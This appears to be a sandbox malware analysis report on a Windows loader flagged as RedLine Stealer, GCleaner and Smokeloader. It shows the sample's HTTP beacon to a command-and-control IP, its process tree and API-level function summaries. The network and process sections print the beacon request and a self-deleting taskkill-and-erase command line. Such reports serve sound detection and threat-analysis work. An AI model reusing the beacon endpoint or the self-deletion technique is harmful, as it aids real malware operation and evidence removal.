KERNEL32.dll	LocalCompact, GetUserDefaultLCID, AddConsoleAliasW, CreateHardLinkA, GetTickCount, EnumTimeFormatsW, FindResourceExA, GetVolumeInformationA, LoadLibraryW, CopyFileW, WriteConsoleW, GetCompressedFileSizeA, GetTempPathW, SetThreadLocale, GetLastError, SetLastError, GetProcAddress, GetLocaleInfoA, SetStdHandle, SetFileAttributesA, WriteConsoleA, InterlockedExchangeAdd, LocalAlloc, SetCalendarInfoW, GetExitCodeThread, RemoveDirectoryW, AddAtomA, GlobalFindAtomW, GetModuleFileNameA, GetOEMCP, GlobalUnWire, LoadLibraryExA, ReadConsoleInputW, GetWindowsDirectoryW, AddConsoleAliasA, GetComputerNameA, FindFirstChangeNotificationW, CreateTimerQueueTimer, GetSystemDefaultLangID, OutputDebugStringW, HeapFree, EncodePointer, DecodePointer, IsProcessorFeaturePresent, GetCommandLineA, RaiseException, RtlUnwind, IsValidCodePage, GetACP, GetCPInfo, GetCurrentThreadId, IsDebuggerPresent, GetProcessHeap, ExitProcess, GetModuleHandleExW, MultiByteToWideChar, WideCharToMultiByte, HeapSize, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, GetFileType, DeleteCriticalSection, GetStartupInfoW, CloseHandle, HeapAlloc, WriteFile, GetModuleFileNameW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, GetStringTypeW, LoadLibraryExW, HeapReAlloc, ReadFile, SetFilePointerEx, LCMapStringW, GetConsoleCP, GetConsoleMode, FlushFileBuffers, CreateFileW
GDI32.dll	GetCharacterPlacementW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpConnect

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/21/24-08:25:57.545496	TCP	2856233	ETPRO TROJAN Win32/Unknown Loader Related Activity (GET)	49730	80	192.168.2.4	185.172.128.90

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2024 08:25:57.339446068 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 21, 2024 08:25:57.544944048 CEST	80	49730	185.172.128.90	192.168.2.4
Apr 21, 2024 08:25:57.545051098 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 21, 2024 08:25:57.545495987 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 21, 2024 08:25:57.749958992 CEST	80	49730	185.172.128.90	192.168.2.4
Apr 21, 2024 08:25:58.930108070 CEST	80	49730	185.172.128.90	192.168.2.4
Apr 21, 2024 08:25:58.930298090 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 21, 2024 08:26:03.935429096 CEST	80	49730	185.172.128.90	192.168.2.4
Apr 21, 2024 08:26:03.935671091 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 21, 2024 08:26:12.828615904 CEST	49730	80	192.168.2.4	185.172.128.90

HTTP Request Dependency Graph

185.172.128.90

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.172.128.90	80	6508	C:\Users\user\Desktop\KLJM7VyjZ2.exe

Timestamp	Bytes transferred	Direction	Data
Apr 21, 2024 08:25:57.545495987 CEST	411	OUT	GET /cpa/ping.php?substr=one&s=two HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.172.128.90 Connection: Keep-Alive Cache-Control: no-cache
Apr 21, 2024 08:25:58.930108070 CEST	204	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 06:25:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Target ID:	0
Start time:	08:25:51
Start date:	21/04/2024
Path:	C:\Users\user\Desktop\KLJM7VyjZ2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\KLJM7VyjZ2.exe"
Imagebase:	0x400000
File size:	358'400 bytes
MD5 hash:	206F7BF98269D08B4CB9AAA0A97214E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1829489628.0000000001D1F000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GCleaner, Description: Yara detected GCleaner, Source: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_GCleaner, Description: Yara detected GCleaner, Source: 00000000.00000003.1632115312.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GCleaner, Description: Yara detected GCleaner, Source: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:25:52
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 732
Imagebase:	0x8c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:25:52
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 740
Imagebase:	0x8c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:25:53
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 776
Imagebase:	0x8c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:25:54
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 792
Imagebase:	0x7ff7699e0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:25:54
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 972
Imagebase:	0x8c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:25:55
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 1020
Imagebase:	0x8c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:25:57
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 1324
Imagebase:	0x8c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:25:58
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /im "KLJM7VyjZ2.exe" /f & erase "C:\Users\user\Desktop\KLJM7VyjZ2.exe" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:25:58
Start date:	21/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:25:58
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /im "KLJM7VyjZ2.exe" /f
Imagebase:	0x990000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:25:58
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 1448
Imagebase:	0x8c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:26:18
Start date:	21/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	7.1%
Signature Coverage:	11.8%
Total number of Nodes:	407
Total number of Limit Nodes:	8

Executed Functions

Function 00404710 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__Init_thread_footer.LIBCMT ref: 004048A9
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00404A6A

Strings

`a}{, xrefs: 00404853

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Init_thread_footerIos_base_dtorstd::ios_base::_
String ID: `a}{
API String ID: 3517786926-238102023
Opcode ID: a28d067b673e4862f0d24dd7c906e2c321e184e2e2a33fc9e0058b8c04127d85
Instruction ID: 9427e19ead8f3d50910af521d41c25a3c8ebb436c11f4314b196e74ea4968ea8
Opcode Fuzzy Hash: a28d067b673e4862f0d24dd7c906e2c321e184e2e2a33fc9e0058b8c04127d85
Instruction Fuzzy Hash: 99E1E5B5A002048BCB18DF58C985B9EB7B1FF85304F1481AED945A73D1D738AE85CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C681 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0040C680,00000000,?,?,00000000,?,00410FF0), ref: 0040C6A3
TerminateProcess.KERNEL32(00000000,?,0040C680,00000000,?,?,00000000,?,00410FF0), ref: 0040C6AA
ExitProcess.KERNEL32 ref: 0040C6BC

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 4074258ae3e92e5929474cff9357cd5b9568f201180147c8900c034a5ce98615
Instruction ID: 783588ce1970669c76067d45beb7604b368d491d8d891c7acf0b2a9c1a233be6
Opcode Fuzzy Hash: 4074258ae3e92e5929474cff9357cd5b9568f201180147c8900c034a5ce98615
Instruction Fuzzy Hash: CEE0BF75400108FFCB216F55DC49A9A3F69EB44345F048536F90596271CB3ADD82CA8C

Uniqueness

Uniqueness Score: -1.00%

Function 01D2076E Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 01D20796
Module32First.KERNEL32(00000000,00000224), ref: 01D207B6

Memory Dump Source

Source File: 00000000.00000002.1829489628.0000000001D1F000.00000040.00000020.00020000.00000000.sdmp, Offset: 01D1F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d1f000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 459faf164c5a71c08fde3b2aecab7be7f61e7527faa4afb88a042c158622f7ca
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: A9F0F6312003207FEB203BF8A88CB6E76E8EF58628F100128F6A2920C0CB70E8454E60

Uniqueness

Uniqueness Score: -1.00%

Function 00401D70 Relevance: 28.3, APIs: 9, Strings: 7, Instructions: 311
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__cftof.LIBCMT ref: 00401EE0
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 00401EFB
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 00401F1E
InternetConnectA.WININET(00000000,00000000,00000050,?,?,00000003,00000000,00000001), ref: 00401F3F
HttpOpenRequestA.WININET(00000000,GET,00000000,00000000,00000000,00000000,80400000,00000001), ref: 00401F70
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00401F8B
InternetCloseHandle.WININET(00000000), ref: 00401FA2

Part of subcall function 00401D70: InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 00401915
Part of subcall function 00401D70: InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 00401934
Part of subcall function 00401D70: HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 004019C8

InternetCloseHandle.WININET(00000000), ref: 00401FA5

Part of subcall function 00401D70: HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004017C7
Part of subcall function 00401D70: HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004017ED
Part of subcall function 00401D70: HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401813
Part of subcall function 00401D70: HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401839

InternetCloseHandle.WININET(00000000), ref: 00401FAB

Strings

Oa, xrefs: 00401B3D
GET, xrefs: 00401F6A
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 004017CB
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 00401817
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 004017F1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401789
text, xrefs: 00401B6C

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Internet$Http$Request$Headers$CloseHandle$FileOpen$ConnectInfoOptionPointerQueryReadSend__cftof
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$text$Oa
API String ID: 3687058084-2905923518
Opcode ID: 87dc1f5cbc00247bb5cd1f96503eacf37748876418ecbfeab935ebf61d375d81
Instruction ID: 4f979ec40115068546db40a18da2f826472f24156d8de6420d48f3aae504fc61
Opcode Fuzzy Hash: 87dc1f5cbc00247bb5cd1f96503eacf37748876418ecbfeab935ebf61d375d81
Instruction Fuzzy Hash: 36A10671E00204AFDB14DFA8CC85BEEBBB5EF44304F14812AE911B72D1D7B89945CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00403500 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 359
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,D6552F24), ref: 0040358A
CreateDirectoryA.KERNEL32(00000000,00000000,?,004278D4,00000001,00000000,00000001), ref: 00403753
GetLastError.KERNEL32(?,004278D4,00000001,00000000,00000001), ref: 00403767
GetTempPathA.KERNEL32(00000104,?,?,004278D4,00000001,00000000,00000001), ref: 00403780
CreateDirectoryA.KERNEL32(00000000,00000000,?,004278D4,00000001,00000000,00000000,00000001), ref: 0040395E
GetLastError.KERNEL32(?,004278D4,00000001,00000000,00000000,00000001), ref: 00403968

Strings

APPDATA, xrefs: 004035B3
open, xrefs: 00403E7D
L]Z\, xrefs: 00404193
.exe, xrefs: 00403C0F, 00403C23
TMPDIR, xrefs: 004037A6

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: CreateDirectoryErrorLastPath$FolderTemp
String ID: .exe$APPDATA$L]Z\$TMPDIR$open
API String ID: 519037321-3822968767
Opcode ID: f0d838dacd6b43a0aa5ccc2954b79dab091d59c70c30b4bbd887c5f4a424c239
Instruction ID: 4c484ed9f6f6e93db446342e9a78ef146d4cd5519f5341d444e70759ab5193d8
Opcode Fuzzy Hash: f0d838dacd6b43a0aa5ccc2954b79dab091d59c70c30b4bbd887c5f4a424c239
Instruction Fuzzy Hash: 96E1D371A102149BDB25DF28CC88B9DBBB5EB45304F1082EEE409B72D1D779AB84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 01CB003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 01CB024D

Strings

kernel32.dll, xrefs: 01CB008F, 01CB0095
cess, xrefs: 01CB018D

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: ee3e13709151b53811ed7ab1f0be7fb14cc43e21a5eb3a859a38fcd5cbeef2e1
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 3C527974A01229DFDB64CF68C984BADBBB1BF09304F1480D9E94DAB351DB30AA95DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00403320 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(D6552F24), ref: 0040334C

Part of subcall function 00403280: OpenProcess.KERNEL32(00000410,00000000), ref: 004032AB
Part of subcall function 00403280: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004032C6
Part of subcall function 00403280: CloseHandle.KERNEL32(00000000), ref: 004032CD

GetCurrentProcessId.KERNEL32 ref: 00403368

Part of subcall function 00403180: OpenProcess.KERNEL32(00000410,00000000), ref: 004031E0
Part of subcall function 00403180: K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 004031FD
Part of subcall function 00403180: K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104), ref: 0040321A
Part of subcall function 00403180: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00403221

ShellExecuteA.SHELL32(00000000,00000000,C:\Windows\System32\cmd.exe,00000000,00000000,00000000), ref: 00403409

Strings

/c taskkill /im ", xrefs: 0040337C
C:\Windows\System32\cmd.exe, xrefs: 00403400
" /f & erase ", xrefs: 0040338D
" & exit, xrefs: 004033AF

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentModuleNameOpen$BaseChangeEnumExecuteFileFindHandleModulesNotificationShell
String ID: " & exit$" /f & erase "$/c taskkill /im "$C:\Windows\System32\cmd.exe
API String ID: 2036142635-793869484
Opcode ID: c4293824eb503ea045ee25c63081e2037e0816156992943217f6b04f155bb6b3
Instruction ID: fb0b6ed5054053e95d24ec8103c54a69bce3c8d518daf5f3a9f7680b0ad669b0
Opcode Fuzzy Hash: c4293824eb503ea045ee25c63081e2037e0816156992943217f6b04f155bb6b3
Instruction Fuzzy Hash: EB215130E15258EAC710EBA5CC49BDD77B9AB14704F90417EE105B31D1DF782A49CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00403180 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000410,00000000), ref: 004031E0
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 004031FD
K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104), ref: 0040321A
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00403221

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Process$BaseChangeCloseEnumFindModuleModulesNameNotificationOpen
String ID:
API String ID: 1316604328-0
Opcode ID: b810b6b41822c9f40bfd186aff59ec884f0ef560b79faa1f172a7d6299ca592e
Instruction ID: a1b721af1f0ed9c57be033e3f546ceffd57cab54b484f6f8d29e48c769c32825
Opcode Fuzzy Hash: b810b6b41822c9f40bfd186aff59ec884f0ef560b79faa1f172a7d6299ca592e
Instruction Fuzzy Hash: 0C21D675D00219ABD721DF54DC05BEABBB8EF09304F0041EAE548A7280DBB45BC5CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00403280 Relevance: 4.6, APIs: 3, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000410,00000000), ref: 004032AB
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004032C6
CloseHandle.KERNEL32(00000000), ref: 004032CD

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 673e854a51e056f46da57b56ff3cecce37ecaf99290c1da43620dda193a8965d
Instruction ID: 288d063c62d69e04bf88314488492230989fe5d5d229077e5b49cfed6eca7f34
Opcode Fuzzy Hash: 673e854a51e056f46da57b56ff3cecce37ecaf99290c1da43620dda193a8965d
Instruction Fuzzy Hash: 2F110474A00204ABD720DF14CC09BEABBB8EB45704F0041ADE58597280DBB95A8A8FD9

Uniqueness

Uniqueness Score: -1.00%

Function 00403FF0 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 214
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L]Z\, xrefs: 00404193

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: L]Z\
API String ID: 1518329722-3060477307
Opcode ID: bdc5fc82175bec1e15db2ac54d0bb988713e55affd58ec50a77a69006b89824a
Instruction ID: f1c4a59434b3f57d7cd8f2ce45f5fc494ed6bf856d1adeb8be9a5cbcf21d118c
Opcode Fuzzy Hash: bdc5fc82175bec1e15db2ac54d0bb988713e55affd58ec50a77a69006b89824a
Instruction Fuzzy Hash: F5A19EB0A00258DBEB20DF15DD59BDEBB70AB52308F5081E9D5483B2C2D7B95B88CF95

Uniqueness

Uniqueness Score: -1.00%

Function 01CB0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,01CB0223,?,?), ref: 01CB0E19
SetErrorMode.KERNELBASE(00000000,?,?,01CB0223,?,?), ref: 01CB0E1E

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: ba353cdb8f638368b5afd9985296535c58fc72d7ecf9ef21dcb085ccdd1c22c4
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 07D01231145128B7D7002A94DC09BCE7F1CDF05B62F008011FB0DD9080C770964046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00407E93 Relevance: 1.6, APIs: 1, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004016AE

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: b82e22d157aa08b806aa911338af021ccea73d0a976e77c51eb41bbc2703bfcf
Instruction ID: b0a2a16c93233474bdfaf9f93f2b22f4fd056625e6ef3c9767f10f04bf15fa52
Opcode Fuzzy Hash: b82e22d157aa08b806aa911338af021ccea73d0a976e77c51eb41bbc2703bfcf
Instruction Fuzzy Hash: 7001473180420D77CB10AAA5DC0189A775C9E01354B50857BF904B65D1FB78F88086DE

Uniqueness

Uniqueness Score: -1.00%

Function 004123EF Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0040901B,?,?,?,004010ED,?,00402687,?,?,?), ref: 00412421

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: AllocateHeap
